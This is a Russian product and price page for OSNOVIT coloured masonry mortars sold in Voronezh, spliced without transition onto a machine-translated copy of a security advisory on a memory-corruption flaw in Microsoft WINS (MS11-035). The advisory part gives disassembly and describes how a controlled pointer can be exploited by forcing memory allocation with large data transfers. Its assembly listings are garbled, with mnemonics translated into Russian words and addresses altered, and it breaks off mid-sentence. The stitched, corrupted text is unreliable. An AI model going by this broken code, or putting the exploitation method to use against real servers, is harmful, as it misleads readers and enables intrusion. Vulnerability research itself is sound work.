Содержание
Цветной кладочный раствор Коричневый 040 ОСНОВИТ БРИКФОРМ МС11
Оценка 0 из 5
Артикул: 2302
Производитель: Седрус
Цена в Воронеже от 1 поддона
990.00 ₽
Количество Цветной кладочный раствор Коричневый 040 ОСНОВИТ БРИКФОРМ МС11
руб/шт
Оптовая цена от 1 полной а/м
с доставкой в Воронеж
Заказать в 1 клик
Рассчитать количество
В наличии
Описание
Доставка
Оплата
Описание
Характеристики
| Вид | Для облицовочного кирпича |
| Тип | Кладочный раствор |
| Цвет | Коричневый |
| Прочность на сжатие | 150 кгс/см² |
| Расход воды на 1 мешок смеси | 0,1-0,15 л |
| Рекомендуемая толщина слоя | 5-15 мм |
| Температура применения | +5. .+30 °С |
| Срок хранения | 12 мес. |
| Вес мешка | 25 кг |
| Производитель | Седрус |
| Страна | Россия |
Описание товара
Кладочный раствор ОСНОВИТ БРИКФОРМ МС11 предназначен для кладки стен из керамического, силикатного и клинкерного облицовочного кирпича с возможностью расшивки швов в момент укладки.
Рекомендуется при строительстве заборов, лестниц и сложных архитектурных конструкций.
Для внутренних и наружных работ.
Рекомендуемые материалы
Керамический, силикатный облицовочный кирпич с нормальным водопоглощением от 3 до 12%. Клинкерный кирпич.
Доставка
- а. С завода напрямую заказчику в пределах Воронежа кратно машине ( длиномером ) — бесплатно
б. Со склада в Воронеже в зависимости от расстояния и объема: газелью, манипулятором, фурой. Точную стоимость доставки можно узнать у менеджеров
в.
Возможен самовывоз с завода непосредственно заказчиком - а. С завода (при наличии товара на заводе) от 3 до 5 рабочих дней в зависимости от расстояния и погодных условий. Внимание! Прежде чем заказчик оплачивает товар, менеджер узнает по наличию на заводе
б. Со склада в Воронеже (при наличии на складе) вывоз в день оплаты
в. Самовывоз со склада в Воронеже в любой день, с завода в зависимости от графика погрузок на предприятии - Согласно закона «О защите прав потребителей» , существует система трейд-ин от 1 поддона, условия можно узнать в офисе
- При заказе строительных материалов, в офисе заключается договор между поставщиком и заказчиком, обговариваются все нюансы ( наличие товара на заводе, наличие подъездных путей до объекта, условий разгрузки, дополнительные скидки и т.д.)
- Доставка с завода еврофура, со склада в Воронеже газелью, манипулятором( от 3 до 15 тонн), еврофурой 20 тонн
- Доставку осуществляем мы, собственный автопарк, что способствует предоставлению заказчику наилучшей цены. В зависимости какая машина свободна номер того водителя и предоставляем
Возможен самовывоз с завода непосредственно заказчиком
В зависимости какая машина свободна номер того водителя и предоставляемОплата
Оплата по безналичному расчету, порядок действий:
- заказчик отправляет на электронную почту(либо приезжает в офис с реквизитами) свои реквизиты с запросом на количество товара
- мы узнаем по наличию товара на складе в Воронеже или на заводе (чтобы было понятие в какой срок мы можем доставить товар заказчику), созваниваемся с покупателем и обговариваем сроки поставки
- если все устраивает, выставляем счет , после оплаты, делаем заказ на завод и в оговоренный срок доставляем товар
Оплата за наличный счет , порядок действий:
- клиент в офисе выбирает товар(широкий ассортимент образцов в шоуруме )
- с заказчиком перед тем, как заключается договор, обговариваются сроки и условия поставки, с последующей оплатой
- далее если все устраивает, делаем заказ на завод и в оговоренный срок доставляем товар
Гарантией возврата товара является подписанный договор между поставщиком(нами) и заказчиком, ну и безусловно закон «о защите прав потребителей»
С этим товаром покупают
Кирпич.
FM : СТРОЙТЕ НА НАШЕЙ ВОЛНЕ
| Наименование продукции | Вес | Колво | Цена | |
| Решения для декоративной и рядовой кладки | ||||
| КЛАДОЧНЫЙ РАСТВОР ДЛЯ РЯДОВОГО И ОБЛИЦОВОЧНОГО КИРПИЧА | ||||
| MC110 | Кладочный раствор для рядового и облицовочного кирпича ОСНОВИТ РОКФОРМ MC110 предназначен для кладки стен из рядового и облицовочного кирпича. | 25 | 60 | 197 |
| ЦВЕТНОЙ КЛАДОЧНЫЙ РАСТВОР ДЛЯ КИРПИЧА С ВОДОПОГЛОЩЕНИЕМ ДО 12% | ||||
| MC11 белый | Кладочный раствор белый 010 ОСНОВИТ БРИКФОРМ MC11 | 25 | 60 | 317 |
| MC11 супербелый | Кладочный раствор супербелый 011 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 354 |
| MC11 серый | Кладочный раствор серый 020 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 331 |
| MC11 светло-серый | Кладочный раствор светло-серый 021 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 308 |
| MC11 темно-серый | Кладочный раствор темно-серый 022 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 349 |
| MC11 графит | Кладочный раствор графит 023 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 488 |
| МС11 гранитно-серый | Кладочный раствор гранитно-серый 026 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 349 |
| МС11 пепельный | Кладочный раствор пепельный 027 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 357 |
| МС11 мокрый асфальт | Кладочный раствор мокрый асфальт 028 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 357 |
| MC11 бежевый | Кладочный раствор бежевый 030 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 310 |
| MC11 светло-бежевый | Кладочный раствор светло-бежевый 034 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 303 |
| MC11 кремовый | Кладочный раствор кремовый 035 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 341 |
| MC11 ореховый | Кладочный раствор ореховый 036 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 324 |
| MC11 коричневый | Кладочный раствор коричневый 040 ОСНОВИТ БРИКФОРМ MC-11 (Т-111) | 25 | 42 | 455 |
| MC11 светло-коричневый | Кладочный раствор светло-коричневый 041 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 451 |
| MC11 шоколадный | Кладочный раствор шоколадный 045 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 582 |
| MC11 оранжевый | Кладочный раствор оранжевый 046 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 357 |
| MC11 светло-голубой | Кладочный раствор светло-голубой 061 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 357 |
| MC11 желтый | Кладочный раствор желтый 070 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 359 |
| MC11 песочный | Кладочный раствор песочный 071 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 341 |
| MC11 жето-зеленый | Кладочный раствор желто-зеленый 073 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 451 |
| MC11 медный | Кладочный раствор медный 083 ОСНОВИТ БРИКФОРМ MC11 | 25 | 42 | 534 |
| ЦВЕТНОЙ КЛАДОЧНЫЙ РАСТВОР ДЛЯ КИРПИЧА С ВОДОПОГЛОЩЕНИЕМ БОЛЕЕ 12% | ||||
| MC11/1 белый | Кладочный раствор белый 010 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 366 |
| MC11/1 F белый | Кладочный раствор белый 010 ОСНОВИТ БРИКФОРМ MC11/1 F ЗИМНИЙ | 25 | 42 | 383 |
| MC11/1 супербелый | Кладочный раствор супербелый 011 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 415 |
| MC11/1 серый | Кладочный раствор серый 020 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 377 |
| MC11/1 светло-серый | Кладочный раствор светло-серый 021 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 372 |
| MC11/1 темно-серый | Кладочный раствор темно-серый 022 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 392 |
| MC11/1 графит | Кладочный раствор графит 023 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 556 |
| МС11/1 гранитно-серый | Кладочный раствор гранитно-серый 026 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 392 |
| МС11/1 пепельный | Кладочный раствор пепельный 027 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 424 |
| МС11/1 мокрый асфальт | Кладочный раствор мокрый асфальт 028 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 424 |
| MC11/1 бежевый | Кладочный раствор бежевый 030 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 356 |
| MC11/1 светло-бежевый | Кладочный раствор светло-бежевый 034 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 349 |
| MC11/1 кремовый | Кладочный раствор кремовый 035 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 416 |
| MC11/1 ореховый | Кладочный раствор ореховый 036 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 389 |
| MC11/1 коричневый | Кладочный раствор коричневый 040 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 530 |
| MC11/1 светло-коричневый | Кладочный раствор светло-коричневый 041 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 517 |
| MC11/1 шоколадный | Кладочный раствор шоколадный 045 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 684 |
| MC11/1 оранжевый | Кладочный раствор оранжевый 046 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 424 |
| MC11/1 светло-голубой | Кладочный раствор светло-голубой 061 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 424 |
| MC11/1 желтый | Кладочный раствор желтый 070 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 437 |
| MC11/1 песочный | Кладочный раствор песочный 071 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 416 |
| MC11/1 желто-зеленый | Кладочный раствор желто-зеленый 073 ОСНОВИТ БРИКФОРМ MC11/1 | 25 | 42 | 517 |
| MC11/1 медный | Кладочный раствор медный 083 ОСНОВИТ БРИКФОРМ MC11/ | 25 | 42 | 618 |
| ЦВЕТНЫЕ ДЕКОРАТИВНЫЕ РАСШИВКИ | ||||
| XC30 белый | Раствор для расшивки швов белый 010 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 460 |
| XC30 супербелый | Раствор для расшивки швов супербелый 011 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 468 |
| XC30 серый | Раствор для расшивки швов серый 020 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 447 |
| XC30 светло-серый | Раствор для расшивки швов светло-серый 021 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 437 |
| XC30 темно-серый | Раствор для расшивки швов темно-серый 022 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 473 |
| XC30 графит | Раствор для расшивки швов графит 023 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 569 |
| XC30 гранитно-серый | Раствор для расшивки швов гранитно-серый 026 ОСНОВИТ БРИКСЭЙВ XC30. | 20 | 36 | 473 |
| XC30 пепельный | Раствор для расшивки швов пепельный 027 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 501 |
| XC30 мокрый асфальт | Раствор для расшивки швов мокрый асфальт 028 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 501 |
| XC30 бежевый | Раствор для расшивки швов бежевый 030 ОСНОВИТ БРИКСЭЙВ XС30 | 20 | 36 | 442 |
| XC30 светло-бежевый | Раствор для расшивки швов светло-бежевый 034 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 437 |
| XC30 кремовый | Раствор для расшивки швов кремовый 035 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 473 |
| XC30 ореховый | Раствор для расшивки швов ореховый 036 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 475 |
| XC30 коричневый | Раствор для расшивки швов коричневый 040 ОСНОВИТ БРИКСЭЙВ XC-30 | 20 | 36 | 549 |
| XC30 светло-коричневый | Раствор для расшивки швов светло-коричневый 041 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 501 |
| XC30 шоколадный | Раствор для расшивки швов шоколадный 045 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 658 |
| XC30 оранжевый | Раствор для расшивки швов оранжевый 046 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 501 |
| XC30 светло-голубой | Раствор для расшивки швов светло-голубой 061 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 501 |
| XC30 желтый | Раствор для расшивки швов желтый 070 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 449 |
| XC30 песочный | Раствор для расшивки швов песочный 071 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 523 |
| XC30 желто-зеленый | Раствор для расшивки швов желто-зеленый 073 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 501 |
| XC30 медный | Раствор для расшивки швов медный 083 ОСНОВИТ БРИКСЭЙВ XC30 | 20 | 36 | 565 |
| ТЕПЛОИЗОЛЯЦИОННЫЕ КЛАДОЧНЫЕ РАСТВОРЫ | ||||
| MC114 | Теплоизоляционный кладочный раствор ОСНОВИТ ПУТФОРМ MC114 | 20 | 55 | 312 |
| MC114 L | Высокоэффективный теплоизоляционный кладочный раствор ОСНОВИТ ПУТФОРМ MC114 L | 20 | 40 | 418 |
| СИСТЕМЫ ДЛЯ УКЛАДКИ КАМНЯ И БРУСЧАТКИ | ||||
| DC100 | Дренажный раствор ОСНОВИТ ФЛАЙФОРМ DC100 | 25 | 42 | 269 |
| DC100 | Дренажный раствор ОСНОВИТ ФЛАЙФОРМ DC100 | 1000 | 1 | 6967 |
| MC80 Wp | Монтажный подстилающий раствор ОСНОВИТ ФЛАЙФОРМ MC80 Wp | 25 | 42 | 218 |
| AC6 Lq | Клей для укладки брусчатки и камня тонкослойный ОСНОВИТ ФЛАЙФОРМ AC6 Lq | 25 | 42 | 419 |
| AC20 T | Клей для укладки брусчатки, камня и тротуарной плитки на бетонную подушку выравнивающий ОСНОВИТ ФЛАЙФОРМ AC20 T | 25 | 42 | 473 |
| XC50 Wp серый | Раствор для заполнения швов брусчатки и камня, серый 020, водонепроницаемый ОСНОВИТ ФЛАЙФОРМ XC50 Wp | 25 | 42 | 588 |
| XC50 Wp графит | Раствор для заполнения швов брусчатки и камня, графит 023, водонепроницаемый ОСНОВИТ ФЛАЙФОРМ XC50 Wp | 25 | 42 | 733 |
| XC50 Wp бежево-серый | Раствор для заполнения швов брусчатки и камня, бежево-серый 025, водонепроницаемый ОСНОВИТ ФЛАЙФОРМ XC50 Wp | 25 | 42 | 671 |
| XC50 Wp коричневый | Раствор для заполнения швов брусчатки и камня, коричневый 040, водонепроницаемый ОСНОВИТ ФЛАЙФОРМ XC50 Wp | 25 | 42 | 945 |
| XC50 Wp медный | Раствор для заполнения швов брусчатки и камня, медный 083, водонепроницаемый ОСНОВИТ ФЛАЙФОРМ XC50 Wp | 25 | 42 | 945 |
| MC30 W | Раствор для укладки камня с одновременной расшивкой шва, белый 010 ОСНОВИТ ФЛАЙФОРМ MC30 W | 25 | 42 | 435 |
| MC30 G | Раствор для укладки камня с одновременной расшивкой шва, серый 020 ОСНОВИТ ФЛАЙФОРМ MC30 G | 25 | 42 | 360 |
| MC30 темно-серый | Раствор для укладки камня с одновременной расшивкой шва, темно-серый 022 ОСНОВИТ ФЛАЙФОРМ MC30 | 25 | 42 | 493 |
| MC30 графит | Раствор для укладки камня с одновременной расшивкой шва,цвет графит 023, ОСНОВИТ ФЛАЙФОРМ MC30 | 25 | 42 | 779 |
| MC30 бежевый | Раствор для укладки камня с одновременной расшивкой шва,цвет бежевый 030, ОСНОВИТ ФЛАЙФОРМ MC30 | 25 | 42 | 569 |
| MC30 коричневый | Раствор для укладки камня с одновременной расшивкой шва,цвет коричневый 040, ОСНОВИТ ФЛАЙФОРМ MC30 | 25 | 42 | 823 |
| Решения для выравнивания пола и стен | ||||
| МОНТАЖНЫЕ СМЕСИ ОСНОВИТ | ||||
| MC112 | Клей Монтажный ОСНОВИТ СЕЛФОРМ MC112 | 20 | 72 | 184 |
| MG115 | Клей монтажный гипсовый ОСНОВИТ ГИПСФОРМ MG115 | 20 | 70 | 246 |
| ШТУКАТУРКИ ОСНОВИТ | ||||
| PC21 | Штукатурка Фасадная ОСНОВИТ СТАРТВЭЛЛ PC21 (цементно-известковая) | 25 | 60 | 249 |
| PC22 H | Штукатурка Фасадная Профи ОСНОВИТ СТАРТВЭЛЛ PC22 H (цементная) | 25 | 60 | 267 |
| PC23 | Штукатурка Фасадная Тонкослойная ОСНОВИТ СЛИМВЭЛЛ PC23 (цементная) | 25 | 42 | 280 |
| PG25 | Штукатурка Гипсовая Универсальная СЕРАЯ ОСНОВИТ ГИПСВЭЛЛ PG25 | 30 | 40 | 345 |
| PG25 W | Штукатурка Гипсовая Универсальная БЕЛАЯ ОСНОВИТ ГИПСВЭЛЛ PG25 W | 5 | 32*5 шт | 190 |
| 30 | 40 | 364 | ||
| ШПАКЛЕВКИ ОСНОВИТ | ||||
| PC30 MG | Шпаклевка Фасадная Серая ОСНОВИТ БАЗСИЛК PC30 MG | 20 | 72 | 312 |
| PC30 MW | Шпаклевка Фасадная Белая ОСНОВИТ БАЗСИЛК PC30 MW | 20 | 72 | 353 |
| PC31 G | Шпаклевка цементная финишная ОСНОВИТ ГРЕЙСИЛК PC31 G. | 20 | 66 | 394 |
| PC32 W | Шпаклевка цементная финишная белая ОСНОВИТ БЕЛСИЛК PC32 W. | 5 | 32*5 шт | 285 |
| 20 | 66 | 446 | ||
| Т-33 | Шпаклевка гипсовая высокопрочная ОСНОВИТ ШОВСИЛК Т-33 | 20 | 35 | 976 |
| PG34 G | Шпаклевка гипсовая универсальная ОСНОВИТ ЭКОНСИЛК PG34 G | 20 | 55 | 339 |
| PG35 W | Шпаклевка гипсовая белая ОСНОВИТ ЭКОНСИЛК PG35 W | 4 | 32*5 шт | 142 |
| 5 | 32*5 шт | 196 | ||
| 10 | 80 | 236 | ||
| 20 | 70 | 365 | ||
| PG36 W | Шпаклевка гипсовая финишная белая ОСНОВИТ ЭЛИСИЛК PG36 W | 5 | 32*5 шт | 202 |
| 20 | 60 | 433 | ||
| PP37 W | Шпаклевка полимерная суперфинишная ОСНОВИТ ЭЛИСИЛК PP37 W | 20 | 60 | 504 |
| PP38 W | Шпаклевка полимерная ОСНОВИТ ЭКОНСИЛК PP38 W | 5 | 32*5 шт | 293 |
| 20 | 60 | 486 | ||
| PA39 W | Шпаклевка готовая суперфинишная ЭЛИСИЛК РА39 W | 1 | 32*12 банок | 166 |
| 5 | 12*8 банок | 389 | ||
| 16 | 33 | 825 | ||
| 28 | 33 | 1288 | ||
| PA39 MW | Шпаклевка готовая суперфинишная для механизированного нанесения ЭЛИСИЛК РА39 MW | 25 | 33 | 1018 |
| СМЕСИ ДЛЯ УСТРОЙСТВА ПОЛОВ ОСНОВИТ | ||||
| FC41 H | Стяжка Высокопрочная ОСНОВИТ СТАРТОЛАЙН FC41 H | 25 | 60 | 211 |
| FC42 | Наливной пол Высокопрочный ОСНОВИТ НИПЛАЙН FC42 | 25 | 60 | 490 |
| FC43 L | Стяжка Легкая ОСНОВИТ СТАРТОЛАЙН FC43 L | 25 | 45 | 386 |
| FK45 R | Наливной пол Быстротвердеющий ОСНОВИТ СКОРЛАЙН FK45 R | 20 | 66 | 332 |
| FK46 | Наливной пол Тонкослойный ОСНОВИТ РОВИЛАЙН FK46 | 20 | 66 | 507 |
| FC47 | Ровнитель для пола высокопрочный ОСНОВИТ НИПЛАЙН FC47 | 25 | 60 | 284 |
| FK47 | Ровнитель для пола универсальный ОСНОВИТ НИПЛАЙН FK47 | 25 | 60 | 318 |
| FK48 R | Наливной пол универсальный ОСНОВИТ СКОРЛАЙН FK48 R | 20 | 66 | 284 |
| FC49 | Наливной пол суперфинишный ОСНОВИТ РОВИЛАЙН FС49 | 20 | 66 | 632 |
| РЕМОНТНЫЕ СОСТАВЫ ОСНОВИТ | ||||
| RC20 | Ремонтный состав ОСНОВИТ ХАРДСКРИН RC20 | 25 | 36 | 588 |
| ГРУНТЫ, ПРОПИТКИ, ДОБАВКИ, ОБРАБОТКА ПОВЕРХНОСТИ ОСНОВИТ | ||||
| Т-50 | Грунт Интерьерный ОСНОВИТ ИНТЕКОНТ Т-50 | 5л | 96 | 250 |
| 10л | 60 | 467 | ||
| LP51 А | Грунт Универсальный ОСНОВИТ УНКОНТ ЛЮКС LP51 А | 5л | 96 | 301 |
| 10л | 60 | 547 | ||
| LP51 | Грунт Универсальный ОСНОВИТ УНКОНТ СТАНДАРТ LP51 | 10л | 60 | 430 |
| Т-52 | Грунт-концентрат ОСНОВИТ ПРОФИКОНТ Т-52 | 10л | 60 | 1057 |
| LP53 | Грунт Глубокого проникновения ОСНОВИТ ДИПКОНТ LP53 | 10л | 60 | 639 |
| LP55 | Грунт ОСНОВИТ БЕТТОКОНТ LP55 | 6 | 45 | 487 |
| 20 | 33 | 1526 | ||
Служба Microsoft WINS 5.
2.3790.4520 — повреждение памяти (MS11-035)
################################## #######################################
Луиджи Ауриемма
Применение: служба Microsoft WINS
http://www.microsoft.com
Версии: <= 5.2.3790.4520
Платформы: Windows
Ошибка: произвольное повреждение памяти
Эксплуатация: удаленная или серверная
Дата: найдено 21 октября 2010 г.
исправлено 10 мая 2011 г.
консультативный 13 сентября 2011 г.
Автор: Луиджи Ауриемма.
электронная почта: [email protected]
сайт: aluigi.org
Ссылки: http://www.microsoft.com/technet/security/bulletin/ms11-035.mspx
http://www.zerodayinitiative.com/advisories/ZDI-11-167/
################################################### ######################
1. Введение
2) Ошибка
3) Кодекс
4) Исправить
################################################### ######################
===============
1. Введение
===============
WINS расшифровывается как "служба имен Интернета Windows" и является классической
служба, работающая на порту 42, обычно активна в среде интрасети для
разрешение имен NetBIOS.
################################################### ######################
======
2) Ошибка
======
Примечания: указанные дампы относятся к WINS 5.2.379.0,4520 в Windows 2003
Сервер.
Проблема находится в функции по адресу 0101488A, используемой для
выполнить отправку ответного пакета обратно клиенту, где он
вызывает исключение, если send() завершается ошибкой, например, потому что клиент
прервал соединение до получения данных.
В этой функции размер отправляемых данных (0x2c) передается в
ntohl() и сохраняется в буфере стека, где находится начало
пакета для отправки, но когда возникает исключение, код
поток продолжается с 01013e86 и после поступления CALL EAX в msvcrt.dll
на 01013e8a, где EDI принимает значение [EBP-4C], которое просто
0x2c000000 (да, это 0x2c в сетевом порядке).
Я «пытался» возобновить поток кода здесь:
01013E72 . 6A 2C НАЖАТЬ 2C ; /Арг3 = 0000002С
01013E74 . 8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] ; |
01013E77 . 50 НАЖМИТЕ EAX ; |Арг2
01013E78 . FF76 30 PUSH DWORD PTR DS:[ESI+30] ; |Арг1
> 01013E7B . E8 0A0A0000 ЗВОНИТЕ 0101488A ; \wins.0101488A (отправить пакет)
01013E80 . 834D FC FF ИЛИ DWORD PTR SS:[EBP-4],FFFFFFFF
01013E84 . EB 0E JMP КОРОТКИЙ 01013E94
01013E86 . 33C0 ИСКЛЮЧАЮЩЕЕ ИЛИ EAX,EAX ; приходит сюда после RaiseException
01013E88 . 40 ВКЛ EAX
01013E89 . C3 RETN
> 01013E8A . 8B65 E8 MOV ESP,DWORD PTR SS:[EBP-18] ; после "CALL EAX" в msvcrt поток кода поступает сюда
01013E8D . 834D FC FF ИЛИ DWORD PTR SS:[EBP-4],FFFFFFFF
01013E91 . 8B7D B4 MOV EDI,DWORD PTR SS:[EBP-4C]
01013E94 . 57 НАЖМИТЕ ЭОД ; /Арг1 (0x2c000000)
01013E95 . E8 240D0000 ЗВОНИТЕ 01014BBE ; \wins.01014BBE
01013E9A . EB 1A JMP КОРОТКИЙ 01013EB6
...
0101488A /$ 8BFF MOV EDI,EDI
0101488С |. 55 НАЖМИТЕ ЭБП
0101488Д |. 8BEC MOV EBP,ESP
0101488F |. 56 НАЖМИТЕ ЭСИ
01014890 |. 8B75 0C MOV ESI,DWORD PTR SS:[EBP+C]
01014893 |. FF75 10 PUSH DWORD PTR SS:[EBP+10] ; /0x2c
01014896 |. 83C6 FC ДОБАВИТЬ ESI,-4 ; |
01014899 |. 8975 0C MOV DWORD PTR SS:[EBP+C],ESI ; |
0101489С |. FF15 4C120001 ВЫЗОВ DWORD PTR DS:[<&WS2_32.#8>] ; \ntohl
010148A2 |. 8345 10 04 ДОБАВИТЬ ДВОЙНОЕ СЛОВО PTR SS:[EBP+10],4
010148A6 |. 8906 MOV DWORD PTR DS:[ESI],EAX ; хранит 0x2c000000
010148A8 |. 0F84 АА000000 ДЖЕ 01014958
010148AE |. 53 НАЖМИТЕ EBX
010148AF |. 57 НАЖМИТЕ ЭОД ; сохраняет реальное значение для передачи в LeaveCriticalSection
010148B0 |. 33F6 XOR ЭСИ, ЭСИ
010148B2 |. BF F0210001 MOV EDI,010021F0 ; "d:\nt\net\wins\server\com\comm.c"
010148B7 |> BB FFFF0000 /MOV EBX,0FFFF
010148BC |. 395D 10 |CMP DWORD PTR SS:[EBP+10],EBX
010148BF |. 77 03 |JA КОРОТКИЙ 010148C4
010148C1 |. 8B5D 10 |MOV EBX,DWORD PTR SS:[EBP+10]
010148C4 |> 56 |PUSH ESI ; /Флаги
010148C5 |. 53 |НАЖМИТЕ EBX ; |размер данных
010148C6 |. FF75 0C |PUSH DWORD PTR SS:[EBP+C] ; |Данные
010148C9 |. FF75 08 |PUSH DWORD PTR SS:[EBP+8] ; |Гнездо
010148CC |. FF15 3C120001 |ЗВОНИТЕ DWORD PTR DS:[<&WS2_32.#19>] ; \Отправить
010148D2 |. 83F8 FF |CMP EAX,-1
010148D5 |. 75 56 |JNZ КОРОТКИЙ 0101492D
010148D7 |. FF15 54120001 |CALL DWORD PTR DS:[<&WS2_32.#111>] ; [WSAGetLastError
010148ДД |. 3D 49270000 |CMP EAX,2749
010148E2 |. 74 39 |JE КОРОТКИЙ 0101491D
010148E4 |. 3D 46270000 |CMP EAX,2746
010148E9 |. 74 32 |JE КОРОТКИЙ 0101491D
010148ЭБ |. 3D 45270000 |CMP EAX,2745
010148F0 |. 74 2B |JE КОРОТКИЙ 0101491D
010148F2 |. 3D 75270000 |CMP EAX,2775
010148F7 |. 74 24 |JE КОРОТКИЙ 0101491D
010148F9 |. 56 | НАЖМИТЕ ЭСИ
010148ФА |. 68 2F0B0000 | НАЖАТЬ 0B2F
010148FF |. 57 | НАЖМИТЕ ЭОД
01014900 |. 68 731001C0 | НАЖМИТЕ C0011073
01014905 |> 6A 01 |НАЖМИТЕ 1
01014907 |. 50 | НАЖМИТЕ EAX
01014908 |. E8 347 | ЗВОНИТЕ 0101C241
0101490D |> 56 |PUSH ESI ; /pАргументы
0101490Э |.
76 E8 |JBE КОРОТКИЙ 0101490D ; прыжки
...
01014BBE /$ 8BFF MOV EDI,EDI
01014BC0 |. 55 НАЖМИТЕ ЭБП
01014BC1 |. 8BEC MOV EBP,ESP
01014BC3 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
01014BC6 |. 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4] ; поэтому EAX равен 0x2c000000.
01014BC9 |. 83C0 0C ДОБАВИТЬ EAX,0C ; добавить 0x0c к нашему значению
01014BCC |. 50 НАЖМИТЕ EAX ; /pCriticalSection
01014BCD |. FF15 A0100001 ВЫЗОВ KERNEL32.LeaveCriticalSection ; \LeaveCriticalSection
01014BD3 |. 33C0 XOR EAX, EAX
01014BD5 |. 5D ПОП ЭБП
01014БД6\. C2 0400 РЕТН 4
...
Оставить критическую секцию:
7C81A3AB > 8BFF ДВИГАТЕЛЬ ЭДИ, ЭДИ
7C81A3AD 55 НАЖМИТЕ ЭБП
7C81A3AE 8BEC MOV EBP, ESP
7C81A3B0 57 НАЖМИТЕ ЭОД
7C81A3B1 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8]
7C81A3B4 FF4F 08 DEC DWORD PTR DS:[EDI+8] ; здесь происходит эксплуатация: EDI контролируется (pCriticalSection)
7C81A3B7 75 21 JNZ КОРОТКИЙ 7C81A3DA
7C81A3B953 НАЖМИТЕ EBX
7C81A3BA 56 НАЖМИТЕ ESI
7C81A3BB C747 0C 0000000>MOV DWORD PTR DS:[EDI+C],0
7C81A3C2 8D77 04 LEA ESI,DWORD PTR DS:[EDI+4]
7C81A3C5 BB 01000000 ДВИГАТЕЛЬ EBX, 1
7C81A3CA F0:0FC11E БЛОКИРОВКА XADD DWORD PTR DS:[ESI],EBX
7C81A3CE 43 ВКЛ EBX
7C81A3CF 83FB FF CMP EBX,-1
7C81A3D2 0F85 0B2F0200 ДЖНЗ 7C83D2E3
7C81A3D8 5E ПОП ЭСИ
7C81A3D95B ПОП EBX
7C81A3DA 33C0 XOR EAX, EAX
7C81A3DC 5F POP EDI
7C81A3DD 5D POP EBP
7C81A3DE C2 0400 RETN 4
. ..
Таким образом, EDI (один из 01013E94) всегда имеет значение 0x2c000000, потому что это
ntohl(0x2c) и обычно исключение по адресу
01014BC6, потому что эта зона памяти не выделена.
Вместо этого можно принудительно выделить эту зону памяти.
и заполнить его собственными материалами, просто отправив большое количество
данные в одном и том же соединении (или, может быть, также во времени, разделенном
подключения, но я не проверял).
Абсолютно не проблема, учитывая интранет-характер
оказание услуг.
Если быть точным, я заметил, что начало выделения памяти
происходит после отправки 2 гигабайт данных, когда ситуация
который был стабильным до этого момента, внезапно меняется, и сервис
начинает выделять память, пока не займет около 700 мегабайт, необходимых
чтобы достичь 0x2c000000.
Как уже было сказано, его можно использовать только из того же соединения, действительно
служба принимает несколько запросов, поскольку она просто заботится о том, чтобы
максимальный размер блока данных, указанный в первом 32-битном поле, незначителен
или равно 3115000, поэтому, если содержимое недействительно, соединение
остается открытым и никогда не будет закрыт или прерван.
Когда выделяется зона памяти, включающая 0x2c000000
